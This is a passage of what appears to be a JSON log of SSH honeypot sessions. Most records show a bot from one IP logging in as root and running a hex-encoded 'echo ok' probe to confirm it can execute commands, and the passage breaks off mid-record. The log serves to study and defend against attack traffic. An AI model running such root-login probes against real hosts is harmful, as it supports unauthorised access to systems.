  "id": "45c0c8d4-9b82-4577-a2b3-6461015d7ea9",
  "name": "serene-buoyant-yak",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39974,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:37.683964+00:00",
  "ended_at": "2026-08-23T09:45:38.727001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e2496e23-fe29-4d55-9073-6e918710df7b",
  "name": "daring-merry-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39970,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:35.092143+00:00",
  "ended_at": "2026-08-23T09:45:36.831003+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "144b8682-3e55-45ee-a4e2-b07cf9da0ac4",
  "name": "tranquil-austere-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:32.748638+00:00",
  "ended_at": "2026-08-23T09:45:34.370028+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c097993f-cce4-4ae3-8450-441ad21331b0",
  "name": "weathered-western-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39950,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:30.725128+00:00",
  "ended_at": "2026-08-23T09:45:32.065378+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6551d219-dbaf-46dc-98db-6c8ceef54e5f",
  "name": "jaunty-ginger-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:29.136914+00:00",
  "ended_at": "2026-08-23T09:45:30.048006+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f552ba3c-0af9-4eec-92c3-283a26aabae0",
  "name": "downy-orderly-puffin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:27.278070+00:00",
  "ended_at": "2026-08-23T09:45:28.466026+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bad01f0c-7c75-47e0-901b-2118827b7cec",
  "name": "blunt-stoic-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42548,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:24.537088+00:00",
  "ended_at": "2026-08-23T09:45:26.513005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c8ec6c43-b1ca-41ba-891a-4e1323044986",
  "name": "thorny-forlorn-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:21.782135+00:00",
  "ended_at": "2026-08-23T09:45:23.699400+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6777a2ba-19d6-4c2f-8e79-0dccd243ec0d",
  "name": "pleasant-ashen-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 42532,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:19.067095+00:00",
  "ended_at": "2026-08-23T09:45:21.032248+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "b6347f41-f58c-420f-91e5-f409dae01ba1",
  "name": "wiry-shaded-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53562,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:16.241696+00:00",
  "ended_at": "2026-08-23T09:45:18.393537+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "13c975fe-6190-41cf-93d5-78f9298f5980",
  "name": "dusky-quiet-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53558,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:13.806375+00:00",
  "ended_at": "2026-08-23T09:45:15.558580+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "94d3c659-781f-4723-bd4b-13b5257762d9",
  "name": "cheerful-weathered-gazelle",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53556,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:11.150956+00:00",
  "ended_at": "2026-08-23T09:45:13.119393+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "82cb7d19-a1bf-45f3-ab08-6ab2714d6c4d",
  "name": "mindful-canny-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 53554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:09.246118+00:00",
  "ended_at": "2026-08-23T09:45:10.417002+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "07d35637-fce1-44b8-a924-f9eaa8168647",
  "name": "genial-solemn-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:06.813110+00:00",
  "ended_at": "2026-08-23T09:45:08.490046+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a7e6cfdf-64df-42c4-ab40-b22664d5470a",
  "name": "shifting-weathered-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44094,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:03.877789+00:00",
  "ended_at": "2026-08-23T09:45:06.044026+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "df118c26-8a02-439e-a3de-bf922d88256f",
  "name": "clever-hidden-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 44080,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:45:01.696201+00:00",
  "ended_at": "2026-08-23T09:45:03.158062+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "86830c21-bbe6-40f9-8f7f-a98a45f76047",
  "name": "ivory-painted-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41636,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:58.765307+00:00",
  "ended_at": "2026-08-23T09:45:00.983051+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bd8d48f7-8b86-45a9-afe1-1ba69fffbc70",
  "name": "cheerful-mossy-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41620,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:56.546117+00:00",
  "ended_at": "2026-08-23T09:44:57.907998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "778df064-eae6-46eb-8d69-c1f7ca5ba273",
  "name": "quaint-western-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41614,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:54.477130+00:00",
  "ended_at": "2026-08-23T09:44:55.909068+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c8ea0667-0eb2-4f0f-b483-2c6df8ed6361",
  "name": "murky-obsidian-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41600,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:51.551080+00:00",
  "ended_at": "2026-08-23T09:44:53.797851+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "baceffb9-c583-4ed1-9315-232aa8853a6f",
  "name": "blazing-freckled-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 41592,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:49.497101+00:00",
  "ended_at": "2026-08-23T09:44:50.907038+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "10686370-6979-4748-bcd2-ab56b2fcb871",
  "name": "hazel-genial-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48276,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:47.277650+00:00",
  "ended_at": "2026-08-23T09:44:48.623397+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e2233d8a-8a4e-4ccb-908c-b114b6256158",
  "name": "calm-placid-shelduck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48264,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:45.130116+00:00",
  "ended_at": "2026-08-23T09:44:46.666411+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d0280572-da03-4054-ba42-9b85abf8ed91",
  "name": "snowy-emerald-gerbil",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "172.202.9.120",
  "src_port": 44552,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-23T09:44:44.113183+00:00",
  "ended_at": "2026-08-23T09:44:44.729012+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7c4fd3fc-f7eb-4303-9dbf-bbaa86665781",
  "name": "tangled-autumn-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48256,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:43.411111+00:00",
  "ended_at": "2026-08-23T09:44:44.453012+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6a0cac1b-8923-4bd1-86ae-ef512261e479",
  "name": "hazy-hardy-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48254,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:41.648085+00:00",
  "ended_at": "2026-08-23T09:44:42.672011+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7b716294-2c2b-4289-812a-e5fbf6543bc4",
  "name": "languid-crystal-quokka",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 48250,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:39.764859+00:00",
  "ended_at": "2026-08-23T09:44:40.867000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ecc99ad0-7188-45cb-ac3b-6780d2b8f060",
  "name": "forlorn-supple-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56966,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:37.355679+00:00",
  "ended_at": "2026-08-23T09:44:38.974998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c4ca2598-5237-4aed-ba0e-13ce2959b8b7",
  "name": "alpine-spirited-shrike",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56950,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:34.390094+00:00",
  "ended_at": "2026-08-23T09:44:36.619357+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3928df20-0be3-44c5-a56b-25b14724fa61",
  "name": "electric-austere-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56936,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:32.263153+00:00",
  "ended_at": "2026-08-23T09:44:33.642001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "4101ea94-7dd1-4b06-bdd6-c310109527a4",
  "name": "obsidian-forlorn-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56928,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:29.312543+00:00",
  "ended_at": "2026-08-23T09:44:31.424008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e735b534-7314-44bd-a7ba-4e8d9d320df9",
  "name": "electric-icy-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38506,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:27.072258+00:00",
  "ended_at": "2026-08-23T09:44:28.560998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "55929560-aa09-4b49-acea-fb7f1131bec1",
  "name": "wooded-keen-albatross",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38498,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:24.460516+00:00",
  "ended_at": "2026-08-23T09:44:26.399998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cba0fa27-a5d3-4709-9c37-ef23a16ff051",
  "name": "stoic-boreal-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38482,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:22.808066+00:00",
  "ended_at": "2026-08-23T09:44:23.766001+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e7f5197e-802f-478f-aff6-48cf5775a2eb",
  "name": "ginger-western-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 38478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:19.868096+00:00",
  "ended_at": "2026-08-23T09:44:21.974126+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bd9ac8ae-5684-4571-b26e-b36f5c46c064",
  "name": "idle-reedy-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49092,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:18.114478+00:00",
  "ended_at": "2026-08-23T09:44:19.112057+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2e27c100-1e79-4ed0-acec-539e21f8de7d",
  "name": "brazen-granite-cuckoo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49080,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:15.740642+00:00",
  "ended_at": "2026-08-23T09:44:17.480079+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "05d97918-cdd7-4815-8109-193fc09d7963",
  "name": "knotted-flinty-onager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49068,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:13.111472+00:00",
  "ended_at": "2026-08-23T09:44:15.047998+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d3508e83-27a0-4d8c-97ec-f6213e08092d",
  "name": "rambling-humble-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 49056,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:10.532324+00:00",
  "ended_at": "2026-08-23T09:44:12.445041+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a58b6e30-0e06-44ad-953c-fa04c879ae90",
  "name": "brave-hidden-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47994,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:08.263792+00:00",
  "ended_at": "2026-08-23T09:44:09.822000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2e0c6b37-5353-423a-ab71-5c86e3eed802",
  "name": "idle-bitter-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47986,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:05.415703+00:00",
  "ended_at": "2026-08-23T09:44:07.466986+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8ad86240-3e04-4fc7-9a87-3264aad894d9",
  "name": "candid-dewy-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47978,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:02.571652+00:00",
  "ended_at": "2026-08-23T09:44:04.705008+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8ae6a010-5401-4291-992b-cfaeb9daf6dc",
  "name": "ginger-obsidian-hare",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47962,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:44:00.092283+00:00",
  "ended_at": "2026-08-23T09:44:01.917395+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5231b2c1-c7e8-4c5e-8512-9cd448619dbb",
  "name": "fierce-windswept-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39144,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:57.787259+00:00",
  "ended_at": "2026-08-23T09:43:59.363046+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fdd6fdf0-6bf7-4071-b54c-b2fe1a764b55",
  "name": "wry-obsidian-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39138,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:54.882580+00:00",
  "ended_at": "2026-08-23T09:43:57.089789+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "efe24c2b-c31b-4d94-8094-d28f96a63c7e",
  "name": "patient-gallant-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39136,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:52.902892+00:00",
  "ended_at": "2026-08-23T09:43:54.130017+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c15bd584-5101-42ab-bdf8-1b87dead574a",
  "name": "inland-gnarled-narwhal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 39132,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:50.529084+00:00",
  "ended_at": "2026-08-23T09:43:52.148000+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "afe2bf8c-3fdf-493e-98a3-92faeb1d6cda",
  "name": "nameless-murky-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55908,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:48.743143+00:00",
  "ended_at": "2026-08-23T09:43:49.722419+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "401b3215-5e1a-40b0-a531-2a7fda337b26",
  "name": "rambling-cheerful-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55904,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:43:45.730063+00:00",
  "ended_at": "2026-08-23T09:43:47.890999+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "71a72e10-ae91-46e0-a1db-1e29275c143b",
  "name": "dappled-canny-coyote",
  "protocol": "ssh",
